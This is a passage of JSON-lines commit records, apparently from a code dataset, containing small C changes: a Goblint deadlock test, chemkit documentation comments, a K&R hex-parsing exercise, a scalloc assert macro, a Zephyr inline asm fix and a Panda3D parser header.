deps,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,anirudhSK\/chromium,axinging\/chromium-crosswalk,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,robclark\/chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,keishi\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,Just-D\/chromium-1,Just-D\/chromium-1,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,robclark\/chromium,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,patrickm\/chromium.src,keishi\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,keishi\/chromium,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,Jonekee\/chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,dednal\/chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,littlstar\/chromium.src,rogerwang\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,robclark\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,robclark\/chromium,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,jaruba\/chromium.src,keishi\/chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,Just-D\/chromium-1,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,keishi\/chromium,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,ltilve\/chromium,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,patrickm\/chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,dednal\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,rogerwang\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,patrickm\/chromium.src,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,rogerwang\/chromium,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl"}
{"commit":"74eb3e370f275ef1825b2a5fb877cf7f1ae9be52","old_file":"tests\/regression\/15-deadlock\/11-common_mutex_nodeadlock.c","new_file":"tests\/regression\/15-deadlock\/11-common_mutex_nodeadlock.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] deadlock\n#include <pthread.h>\n#include <stdio.h>\n\nint g1, g2;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex3 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t1(void *arg) {\n  pthread_mutex_lock(&mutex3); \/\/ NODEADLOCK\n  pthread_mutex_lock(&mutex1); \/\/ TODO NODEADLOCK (common mutex3)\n  pthread_mutex_lock(&mutex2); \/\/ TODO NODEADLOCK (common mutex3)\n  g1 = g2 + 1;\n  pthread_mutex_unlock(&mutex2);\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nvoid *t2(void *arg) {\n  pthread_mutex_lock(&mutex3); \/\/ NODEADLOCK\n  pthread_mutex_lock(&mutex2); \/\/ TODO NODEADLOCK (common mutex3)\n  pthread_mutex_lock(&mutex1); \/\/ TODO NODEADLOCK (common mutex3)\n  g2 = g1 + 1;\n  pthread_mutex_unlock(&mutex1);\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id1, id2;\n  int i;\n  for (i = 0; i < 10000; i++) {\n    pthread_create(&id1, NULL, t1, NULL);\n    pthread_create(&id2, NULL, t2, NULL);\n    pthread_join (id1, NULL);\n    pthread_join (id2, NULL);\n    printf(\"%d: g1 = %d, g2 = %d.\\n\", i, g1, g2);\n  }\n  return 0;\n}\n","subject":"Add TODO no deadlock test due to common mutex","message":"Add TODO no deadlock test due to common mutex\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"be9a42d018015f8c8a2037884a9bfa1e1a240676","old_file":"src\/chemkit\/vector3.h","new_file":"src\/chemkit\/vector3.h","old_contents":"\/******************************************************************************\n**\n** Copyright (C) 2009-2011 Kyle Lutz <kyle.r.lutz@gmail.com>\n**\n** This file is part of chemkit. For more information see\n** <http:\/\/www.chemkit.org>.\n**\n** chemkit is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n**\n** chemkit is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public License\n** along with chemkit. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\n******************************************************************************\/\n\n#ifndef CHEMKIT_VECTOR3_H\n#define CHEMKIT_VECTOR3_H\n\n#include \"chemkit.h\"\n\n#include \"genericvector.h\"\n\nnamespace chemkit {\n\n\/\/\/ A three-dimensional vector.\ntypedef GenericVector<Float> Vector3;\n\ntypedef GenericVector<float> Vector3f;\ntypedef GenericVector<double> Vector3d;\n\n} \/\/ end chemkit namespace\n\n#endif \/\/ CHEMKIT_VECTOR3_H\n","new_contents":"\/******************************************************************************\n**\n** Copyright (C) 2009-2011 Kyle Lutz <kyle.r.lutz@gmail.com>\n**\n** This file is part of chemkit. For more information see\n** <http:\/\/www.chemkit.org>.\n**\n** chemkit is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n**\n** chemkit is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public License\n** along with chemkit. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\n******************************************************************************\/\n\n#ifndef CHEMKIT_VECTOR3_H\n#define CHEMKIT_VECTOR3_H\n\n#include \"chemkit.h\"\n\n#include \"genericvector.h\"\n\nnamespace chemkit {\n\n\/\/\/ A three-dimensional vector.\ntypedef GenericVector<Float> Vector3;\n\n\/\/\/ A three-dimensional vector containing \\c float values.\ntypedef GenericVector<float> Vector3f;\n\n\/\/\/ A three-dimensional vector containing \\c double values.\ntypedef GenericVector<double> Vector3d;\n\n} \/\/ end chemkit namespace\n\n#endif \/\/ CHEMKIT_VECTOR3_H\n","subject":"Add documentation to Vector3 typedefs","message":"Add documentation to Vector3 typedefs\n\nThis adds documentation for the Vector3f and Vector3d\ntypedefs.\n","lang":"C","license":"bsd-3-clause","repos":"kylelutz\/chemkit,kylelutz\/chemkit,kylelutz\/chemkit,kylelutz\/chemkit"}
{"commit":"2db6decc5d89b83aa2560f11f0039925998095a5","old_file":"src\/exercise203.c","new_file":"src\/exercise203.c","old_contents":"","new_contents":"\/*\n * A solution to Exercise 2-3 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <ctype.h>\n#include <math.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint32_t htoi(char *);\n\nint main(void)\n{\n  \/* This whole this is pretty fragile. Don't feed it exotic input and things\n   * should be ok. A few checks here and there wouldn't go amiss.\n   * TODO: Handle invalid and exotic input properly. *\/\n  char *buffer = NULL;\n  uint32_t buffer_length = 0;\n  char character = 0;\n  while ((character = getchar()) != EOF) {\n    if (!(isspace(character))) {\n      buffer = realloc(buffer, ++buffer_length * sizeof(char));\n      buffer[buffer_length - 1] = character;\n    }\n  }\n  buffer = realloc(buffer, ++buffer_length * sizeof(char));\n  buffer[buffer_length - 1] = '\\0';\n  printf(\"%d\\n\", htoi(buffer));\n  return EXIT_SUCCESS;\n}\n\nint32_t htoi(char *string)\n{\n  int32_t value = 0;\n  uint32_t start_position = string[0] == '-' ? 1 : 0;\n  if (string[start_position] == '0' && \n      (string[start_position + 1] == 'x' || \n      string[start_position + 1] == 'X')) {\n    start_position += 2;\n  }\n  uint32_t i = 0;\n  for ( ; string[i] != '\\0'; i++);\n  for (uint32_t j = 0; i > start_position; i--, j++) {\n    if (string[i - 1] >= '0' && string[i - 1] <= '9') {\n      value += (string[i - 1] - '0') * (int)pow(16, j);\n    } else if (string[i - 1] >= 'a' && string[i - 1] <= 'f') {\n      value += ((string[i - 1] - 'a') + 10) * (int)pow(16, j);\n    } else if (string[i - 1] >= 'A' && string[i - 1] <= 'F') {\n      value += ((string[i - 1] - 'A') + 10) * (int)pow(16, j);\n    } else {\n      \/* FIXME: Handle invalid input properly. *\/\n      return 0;\n    }\n  }\n  return string[0] == '-' ? -(value) : value;\n}\n","subject":"Add solution to Exercise 2-3.","message":"Add solution to Exercise 2-3.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"37267bfe7ecf46ce3a37b1156c51c6076815c16f","old_file":"src\/platform\/assert.h","new_file":"src\/platform\/assert.h","old_contents":"\/\/ Copyright (c) 2015, the scalloc project authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_PLATFORM_ASSERT_H_\n#define SCALLOC_PLATFORM_ASSERT_H_\n\n#include \"log.h\"\n\n#define DISALLOW_COPY_AND_ASSIGN(TypeName)                                     \\\nprivate:                                                                       \\\n  TypeName(const TypeName&);                                                   \\\n  void operator=(const TypeName&)\n\n\n#define DISALLOW_IMPLICIT_CONSTRUCTORS(TypeName)                               \\\nprivate:                                                                       \\\n  TypeName();                                                                  \\\n  DISALLOW_COPY_AND_ASSIGN(TypeName)\n\n\n#define DISALLOW_ALLOCATION()                                                  \\\npublic:                                                                        \\\n  void operator delete(void* pointer) {                                        \\\n    UNREACHABLE();                                                             \\\n  }                                                                            \\\nprivate:                                                                       \\\n  void* operator new(size_t size);\n\n\n#define QUOTEME(x) #x\n\n#ifdef DEBUG\n\n#define ScallocAssert(c) do {                                                  \\\n  if (!(c)) {                                                                  \\\n    Fatal(\"assertion failed: \" QUOTEME((c)));                                  \\\n  }                                                                            \\\n} while (0)\n\n#else  \/\/ !DEBUG\n\n#define ScallocAssert(c) do {                                                  \\\n} while (0)\n\n#endif  \/\/ DEBUG\n\n#define UNREACHABLE()                                                          \\\n  Fatal(\"unreachable code segment\");\n\n#endif  \/\/ SCALLOC_PLATFORM_ASSERT_H_\n","new_contents":"\/\/ Copyright (c) 2015, the scalloc project authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_PLATFORM_ASSERT_H_\n#define SCALLOC_PLATFORM_ASSERT_H_\n\n#include \"log.h\"\n\n#define DISALLOW_COPY_AND_ASSIGN(TypeName)                                     \\\nprivate:                                                                       \\\n  TypeName(const TypeName&);                                                   \\\n  void operator=(const TypeName&)\n\n\n#define DISALLOW_IMPLICIT_CONSTRUCTORS(TypeName)                               \\\nprivate:                                                                       \\\n  TypeName();                                                                  \\\n  DISALLOW_COPY_AND_ASSIGN(TypeName)\n\n\n#define DISALLOW_ALLOCATION()                                                  \\\npublic:                                                                        \\\n  void operator delete(void* pointer) {                                        \\\n    UNREACHABLE();                                                             \\\n  }                                                                            \\\nprivate:                                                                       \\\n  void* operator new(size_t size);\n\n\n#define QUOTEME(x) #x\n\n#ifdef DEBUG\n\n#define ScallocAssert(c) do {                                                  \\\n  if (!(c)) {                                                                  \\\n    Fatal(\"assertion failed: \" QUOTEME((c)));                                  \\\n  }                                                                            \\\n} while (0)\n\n#else  \/\/ !DEBUG\n\n#define ScallocAssert(c) do {                                                  \\\n  if (c) {}                                                                    \\\n} while (0)\n\n#endif  \/\/ DEBUG\n\n#define UNREACHABLE()                                                          \\\n  Fatal(\"unreachable code segment\");\n\n#endif  \/\/ SCALLOC_PLATFORM_ASSERT_H_\n","subject":"Allow ScallocAssert() to be used in Release code","message":"Allow ScallocAssert() to be used in Release code\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsgroup\/scalloc,cksystemsgroup\/scalloc,cksystemsgroup\/scalloc"}
{"commit":"4319688dfb39444d9edcc384e4c56977967cda4b","old_file":"src\/includes\/kernel\/util.h","new_file":"src\/includes\/kernel\/util.h","old_contents":"\/**\narm-016-util.h\n*\/\n\n\n#ifndef RPI_UTIL_H\n#define RPI_UTIL_H\n\n#define SCREEN_WIDTH    640\n#define SCREEN_HEIGHT   480\n#define SCREEN_DEPTH    24      \/* 16 or 32-bit *\/\n\n#define COLOUR_DELTA    0.05    \/* Float from 0 to 1 incremented by this amount *\/\n\n#include <math.h>\n\ntypedef struct {\n    float r;\n    float g;\n    float b;\n    float a;\n    } colour_t;\n\n\nextern void setColor(volatile unsigned char* fb, colour_t pixel, long x, long y, long pitch);\n\nint * getCoordinates();\ndouble scale_to_x_origin(int);\nint scale_to_y_pixel(double);\n\n#endif\n","new_contents":"\/**\narm-016-util.h\n*\/\n\n\n#ifndef RPI_UTIL_H\n#define RPI_UTIL_H\n\n#define SCREEN_WIDTH    640\n#define SCREEN_HEIGHT   480\n#define SCREEN_DEPTH    24      \/* 16 or 32-bit *\/\n\n#define COLOUR_DELTA    0.05    \/* Float from 0 to 1 incremented by this amount *\/\n\n#include <math.h>\n#include <stdlib.h>\n\ntypedef struct {\n    float r;\n    float g;\n    float b;\n    float a;\n    } colour_t;\n\n\nextern void setColor(volatile unsigned char* fb, colour_t pixel, long x, long y, long pitch);\n\nextern int * getCoordinates();\nextern double scale_to_x_origin(int);\nextern int scale_to_y_pixel(double);\n\n#endif\n","subject":"Include stdlib.h and changed function declaration to extern","message":"Include stdlib.h and changed function declaration to extern\n","lang":"C","license":"mit","repos":"Neo-Desktop\/bare-metal-pi,Neo-Desktop\/bare-metal-pi"}
{"commit":"362fb9e62b878adae788b3120608418da057d522","old_file":"arch\/arm\/core\/irq_offload.c","new_file":"arch\/arm\/core\/irq_offload.c","old_contents":"\/*\n * Copyright (c) 2015 Intel corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file Software interrupts utility code - ARM implementation\n *\/\n\n#include <nanokernel.h>\n#include <irq_offload.h>\n\nstatic irq_offload_routine_t offload_routine;\nstatic void *offload_param;\n\n\/* Called by __svc *\/\nvoid _irq_do_offload(void)\n{\n\toffload_routine(offload_param);\n}\n\nvoid irq_offload(irq_offload_routine_t routine, void *parameter)\n{\n\tint key;\n\n\tkey = irq_lock();\n\toffload_routine = routine;\n\toffload_param = parameter;\n\n\t__asm__ volatile (\"svc #1\");\n\n\tirq_unlock(key);\n}\n","new_contents":"\/*\n * Copyright (c) 2015 Intel corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file Software interrupts utility code - ARM implementation\n *\/\n\n#include <nanokernel.h>\n#include <irq_offload.h>\n\nstatic irq_offload_routine_t offload_routine;\nstatic void *offload_param;\n\n\/* Called by __svc *\/\nvoid _irq_do_offload(void)\n{\n\toffload_routine(offload_param);\n}\n\nvoid irq_offload(irq_offload_routine_t routine, void *parameter)\n{\n\tint key;\n\n\tkey = irq_lock();\n\toffload_routine = routine;\n\toffload_param = parameter;\n\n\t__asm__ volatile (\"svc #1\" : : : \"memory\");\n\n\tirq_unlock(key);\n}\n","subject":"Fix irq offload inline asm memory ordering.","message":"arm: Fix irq offload inline asm memory ordering.\n\nAdd a \"memory\" clobber to inline asm SVC call to ensure the compiler\ndoes not reorder the instruction relative to other memory accesses.\n\nIssue found by inspect the source code.  There is no evidence to\nsuggest that this bug will manifest for any current ARM target using a\ncurrent compiler.\n\nChange-Id: I32b1e5ede02a6dbea02bb8f98729fff1cca1ef2a\nSigned-off-by: Marcus Shawcroft <cf6354583ee83038f2010cbcbe1b1f2adb85107d@arm.com>\n","lang":"C","license":"apache-2.0","repos":"punitvara\/zephyr,runchip\/zephyr-cc3220,fbsder\/zephyr,Vudentz\/zephyr,bigdinotech\/zephyr,fractalclone\/zephyr-riscv,nashif\/zephyr,ldts\/zephyr,runchip\/zephyr-cc3200,holtmann\/zephyr,kraj\/zephyr,runchip\/zephyr-cc3200,nashif\/zephyr,runchip\/zephyr-cc3220,kraj\/zephyr,bigdinotech\/zephyr,zephyrproject-rtos\/zephyr,erwango\/zephyr,rsalveti\/zephyr,aceofall\/zephyr-iotos,fractalclone\/zephyr-riscv,runchip\/zephyr-cc3220,bboozzoo\/zephyr,bboozzoo\/zephyr,bboozzoo\/zephyr,zephyriot\/zephyr,nashif\/zephyr,bigdinotech\/zephyr,mbolivar\/zephyr,zephyrproject-rtos\/zephyr,GiulianoFranchetto\/zephyr,punitvara\/zephyr,fbsder\/zephyr,bboozzoo\/zephyr,runchip\/zephyr-cc3200,finikorg\/zephyr,tidyjiang8\/zephyr-doc,ldts\/zephyr,GiulianoFranchetto\/zephyr,tidyjiang8\/zephyr-doc,zephyriot\/zephyr,erwango\/zephyr,GiulianoFranchetto\/zephyr,explora26\/zephyr,pklazy\/zephyr,bigdinotech\/zephyr,runchip\/zephyr-cc3200,pklazy\/zephyr,punitvara\/zephyr,punitvara\/zephyr,kraj\/zephyr,galak\/zephyr,aceofall\/zephyr-iotos,holtmann\/zephyr,pklazy\/zephyr,tidyjiang8\/zephyr-doc,ldts\/zephyr,pklazy\/zephyr,Vudentz\/zephyr,erwango\/zephyr,GiulianoFranchetto\/zephyr,explora26\/zephyr,holtmann\/zephyr,mbolivar\/zephyr,galak\/zephyr,holtmann\/zephyr,kraj\/zephyr,punitvara\/zephyr,aceofall\/zephyr-iotos,fbsder\/zephyr,sharronliu\/zephyr,zephyriot\/zephyr,bigdinotech\/zephyr,finikorg\/zephyr,erwango\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,sharronliu\/zephyr,nashif\/zephyr,explora26\/zephyr,fbsder\/zephyr,rsalveti\/zephyr,runchip\/zephyr-cc3200,zephyrproject-rtos\/zephyr,rsalveti\/zephyr,holtmann\/zephyr,Vudentz\/zephyr,explora26\/zephyr,Vudentz\/zephyr,ldts\/zephyr,runchip\/zephyr-cc3220,Vudentz\/zephyr,Vudentz\/zephyr,erwango\/zephyr,tidyjiang8\/zephyr-doc,bboozzoo\/zephyr,mbolivar\/zephyr,nashif\/zephyr,finikorg\/zephyr,explora26\/zephyr,galak\/zephyr,mbolivar\/zephyr,sharronliu\/zephyr,pklazy\/zephyr,aceofall\/zephyr-iotos,GiulianoFranchetto\/zephyr,kraj\/zephyr,aceofall\/zephyr-iotos,zephyrproject-rtos\/zephyr,fractalclone\/zephyr-riscv,finikorg\/zephyr,fbsder\/zephyr,zephyriot\/zephyr,rsalveti\/zephyr,sharronliu\/zephyr,fractalclone\/zephyr-riscv,runchip\/zephyr-cc3220,mbolivar\/zephyr,galak\/zephyr,rsalveti\/zephyr,sharronliu\/zephyr,ldts\/zephyr,zephyriot\/zephyr,galak\/zephyr,fractalclone\/zephyr-riscv,tidyjiang8\/zephyr-doc"}
{"commit":"b0a84087556b24b9fa76306a80ed7fb59f2dac11","old_file":"dtool\/src\/parser-inc\/stdtypedefs.h","new_file":"dtool\/src\/parser-inc\/stdtypedefs.h","old_contents":"\/**\n * PANDA 3D SOFTWARE\n * Copyright (c) Carnegie Mellon University.  All rights reserved.\n *\n * All use of this software is subject to the terms of the revised BSD\n * license.  You should have received a copy of this license along\n * with this source code in a file named \"LICENSE.\"\n *\n * @file stdtypedefs.h\n * @author drose\n * @date 2000-05-12\n *\/\n\n\/\/ This file, and all the other files in this directory, aren't\n\/\/ intended to be compiled--they're just parsed by CPPParser (and\n\/\/ interrogate) in lieu of the actual system headers, to generate the\n\/\/ interrogate database.\n\n#ifndef STDTYPEDEFS_H\n#define STDTYPEDEFS_H\n\ntypedef long time_t;\ntypedef long clock_t;\n\ntypedef unsigned int uint;\ntypedef unsigned long ulong;\ntypedef unsigned short ushort;\ntypedef unsigned char uchar;\n\ninline namespace std {\n#ifdef _WIN64\n  typedef unsigned long long size_t;\n  typedef long long ssize_t;\n  typedef long long ptrdiff_t;\n#else\n  typedef unsigned long size_t;\n  typedef long ssize_t;\n  typedef long ptrdiff_t;\n#endif\n}\n\n#ifdef __cplusplus\n#define NULL 0L\n#else\n#define NULL ((void *)0)\n#endif\n\n\/\/ One day, we might extend interrogate to be able to parse this,\n\/\/ but we currently don't need it.\n#define alignas(x)\n\n#endif\n","new_contents":"\/**\n * PANDA 3D SOFTWARE\n * Copyright (c) Carnegie Mellon University.  All rights reserved.\n *\n * All use of this software is subject to the terms of the revised BSD\n * license.  You should have received a copy of this license along\n * with this source code in a file named \"LICENSE.\"\n *\n * @file stdtypedefs.h\n * @author drose\n * @date 2000-05-12\n *\/\n\n\/\/ This file, and all the other files in this directory, aren't\n\/\/ intended to be compiled--they're just parsed by CPPParser (and\n\/\/ interrogate) in lieu of the actual system headers, to generate the\n\/\/ interrogate database.\n\n#ifndef STDTYPEDEFS_H\n#define STDTYPEDEFS_H\n\ntypedef long time_t;\ntypedef long clock_t;\n\ntypedef unsigned int uint;\ntypedef unsigned long ulong;\ntypedef unsigned short ushort;\ntypedef unsigned char uchar;\n\ninline namespace std {\n#ifdef _WIN64\n  typedef unsigned long long size_t;\n  typedef long long ssize_t;\n  typedef long long ptrdiff_t;\n#else\n  typedef unsigned long size_t;\n  typedef long ssize_t;\n  typedef long ptrdiff_t;\n#endif\n}\n\nstruct timeval;\n\n#ifdef __cplusplus\n#define NULL 0L\n#else\n#define NULL ((void *)0)\n#endif\n\n\/\/ One day, we might extend interrogate to be able to parse this,\n\/\/ but we currently don't need it.\n#define alignas(x)\n\n#endif\n","subject":"Fix issue with Windows build","message":"Fix issue with Windows 